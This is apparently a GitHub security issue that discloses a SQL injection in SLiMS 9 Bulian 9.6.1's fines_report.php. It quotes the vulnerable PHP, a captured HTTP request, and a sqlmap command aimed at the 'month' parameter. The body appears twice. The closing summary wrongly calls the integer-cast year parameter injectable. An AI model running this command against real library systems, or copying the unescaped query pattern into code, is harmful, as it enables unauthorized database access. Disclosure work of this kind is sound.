Senayan Library Management Systems (Slims) 9 Bulian v9.6.1 is vulnerable to SQL Injection via admin/modules/reporting/customs/fines_report.php.
**Describe the bug**
A SQL Injection exists in admin/modules/reporting/customs/fines_report.php at the code below
```php
 $selected_year = date('Y');
    if (isset($_GET['year']) AND !empty($_GET['year'])) {
        $selected_year = (integer)$_GET['year'];
    }
    // month
    $selected_month = date('m');
    if (isset($_GET['month']) AND !empty($_GET['month'])) {
        $selected_month = $_GET['month'];
    }

    // query fines data to database
    // echo "SELECT SUBSTRING(`fines_date`, -2) AS `mdate`, SUM(debet) AS `dtotal`, `fines_id` FROM `fines` WHERE `fines_date` LIKE '$selected_year-$selected_month%' GROUP BY `fines_date`";
    $_fines_q = $dbs->query("SELECT SUBSTRING(`fines_date`, -2) AS `mdate`, SUM(debet) AS `dtotal` FROM `fines` WHERE `fines_date` LIKE '$selected_year-$selected_month%' GROUP BY `fines_date`");
    while ($_fines_d = $_fines_q->fetch_row()) {
        $date = (integer)preg_replace('@^0+@i', '',$_fines_d[0]);
        $fines_data[$date] = '<div class="data"><a href="'.AWB.'modules/reporting/customs/member_fines_list.php?reportView=true&singleDate=true&finesDate='.$selected_year.'-'.$selected_month.'-'.$date.'" class="notAJAX openPopUp" width="800" height="600" title="'.__('Member Fines List').'">'.currency($_fines_d[1]?:'0').'</a></div>';
    }

    // generate calendar
    $output = simbio_date::generateCalendar($selected_year, $selected_month, $fines_data);

    // print out
    echo '<div class="mb-2">'.__('Fines count report for').' <strong>'.$months[$selected_month].', '.$selected_year.'</strong> <a class="s-btn btn btn-default printReport" onclick="window.print()" href="#">'.__('Print Current Page').'</a></div>'."\n";
    echo $output;

```

**To Reproduce**
Steps to reproduce the behavior:
1. Login as admin or user that has access to reportings/fines report
2. make sure burp suit is on to capture the request such as below:
3. save the request into a file (bredel.req)
4. run the test with sqlmao with the command `sqlmap -r bredel.req --level 5 --risk 3 -p month --dbms=mysql --current-user`

**Proof-of-Concept**

<img width="1440" alt="image" src="https://github.com/slims/slims9_bulian/assets/116742485/b09cb45d-610f-4880-a180-b6398f3b3fc7">

**bredel.req**
```
GET /slims9_bulian-9.6.1/admin/modules/reporting/customs/fines_report.php?year=2020&month=06&applyFilter=Apply+Filter&reportView=true HTTP/1.1
Host: localhost
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://localhost/slims9_bulian-9.6.1/admin/index.php?mod=reporting
Accept-Encoding: gzip, deflate, br
Accept-Language: id,en-US;q=0.9,en;q=0.8,ru;q=0.7
Cookie: SenayanAdmin=0ejb8l7fhdhb1l8tltuvv5kl2n; admin_logged_in=1; SenayanMember=lsbmnom42kgsogjjvbfu1lrml8; csrftoken=hzryTvpMiKtoV1DPIYB8X31DZ69pidYh; wp-settings-time-1=1695891043; PHPSESSID=79fe03f30f50c62d5dec9aac767e1073
Connection: close


```

**Desktop (please complete the following information):**
- Browser: Google Chrome | 115.0.5790.114 (Official Build) (x86_64)
- Slims Version: slims9_bulian-9.6.1


[Security Bugs] SQL Injection at fines_report.php
This is a GitHub Issue
repo:slims9_bulian
owner:slims
Title : [Security Bugs] SQL Injection at fines_report.php
Issue date:

--- start body ---
**Describe the bug**
A SQL Injection exists in admin/modules/reporting/customs/fines_report.php at the code below
```php
 $selected_year = date('Y');
    if (isset($_GET['year']) AND !empty($_GET['year'])) {
        $selected_year = (integer)$_GET['year'];
    }
    // month
    $selected_month = date('m');
    if (isset($_GET['month']) AND !empty($_GET['month'])) {
        $selected_month = $_GET['month'];
    }

    // query fines data to database
    // echo "SELECT SUBSTRING(`fines_date`, -2) AS `mdate`, SUM(debet) AS `dtotal`, `fines_id` FROM `fines` WHERE `fines_date` LIKE '$selected_year-$selected_month%' GROUP BY `fines_date`";
    $_fines_q = $dbs->query("SELECT SUBSTRING(`fines_date`, -2) AS `mdate`, SUM(debet) AS `dtotal` FROM `fines` WHERE `fines_date` LIKE '$selected_year-$selected_month%' GROUP BY `fines_date`");
    while ($_fines_d = $_fines_q->fetch_row()) {
        $date = (integer)preg_replace('@^0+@i', '',$_fines_d[0]);
        $fines_data[$date] = '<div class="data"><a href="'.AWB.'modules/reporting/customs/member_fines_list.php?reportView=true&singleDate=true&finesDate='.$selected_year.'-'.$selected_month.'-'.$date.'" class="notAJAX openPopUp" width="800" height="600" title="'.__('Member Fines List').'">'.currency($_fines_d[1]?:'0').'</a></div>';
    }

    // generate calendar
    $output = simbio_date::generateCalendar($selected_year, $selected_month, $fines_data);

    // print out
    echo '<div class="mb-2">'.__('Fines count report for').' <strong>'.$months[$selected_month].', '.$selected_year.'</strong> <a class="s-btn btn btn-default printReport" onclick="window.print()" href="#">'.__('Print Current Page').'</a></div>'."\n";
    echo $output;

```

**To Reproduce**
Steps to reproduce the behavior:
1. Login as admin or user that has access to reportings/fines report
2. make sure burp suit is on to capture the request such as below:
3. save the request into a file (bredel.req)
4. run the test with sqlmao with the command `sqlmap -r bredel.req --level 5 --risk 3 -p month --dbms=mysql --current-user`

**Proof-of-Concept**

<img width="1440" alt="image" src="https://github.com/slims/slims9_bulian/assets/116742485/b09cb45d-610f-4880-a180-b6398f3b3fc7">

**bredel.req**
```
GET /slims9_bulian-9.6.1/admin/modules/reporting/customs/fines_report.php?year=2020&month=06&applyFilter=Apply+Filter&reportView=true HTTP/1.1
Host: localhost
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://localhost/slims9_bulian-9.6.1/admin/index.php?mod=reporting
Accept-Encoding: gzip, deflate, br
Accept-Language: id,en-US;q=0.9,en;q=0.8,ru;q=0.7
Cookie: SenayanAdmin=0ejb8l7fhdhb1l8tltuvv5kl2n; admin_logged_in=1; SenayanMember=lsbmnom42kgsogjjvbfu1lrml8; csrftoken=hzryTvpMiKtoV1DPIYB8X31DZ69pidYh; wp-settings-time-1=1695891043; PHPSESSID=79fe03f30f50c62d5dec9aac767e1073
Connection: close


```

**Desktop (please complete the following information):**
- Browser: Google Chrome | 115.0.5790.114 (Official Build) (x86_64)
- Slims Version: slims9_bulian-9.6.1


--- end body ---

A SQL Injection vulnerability exists in the fines_report.php file of the SLiMS 9 Bulian application. The vulnerability arises from the use of unsanitized user input in the SQL query that retrieves fines data. Specifically, the variables $selected_year and $selected_month are directly incorporated into the SQL query without proper validation or escaping, allowing an attacker to manipulate the query by injecting malicious SQL code through the 'year' and 'month' parameters in the URL. This can lead to unauthorized data access or modification.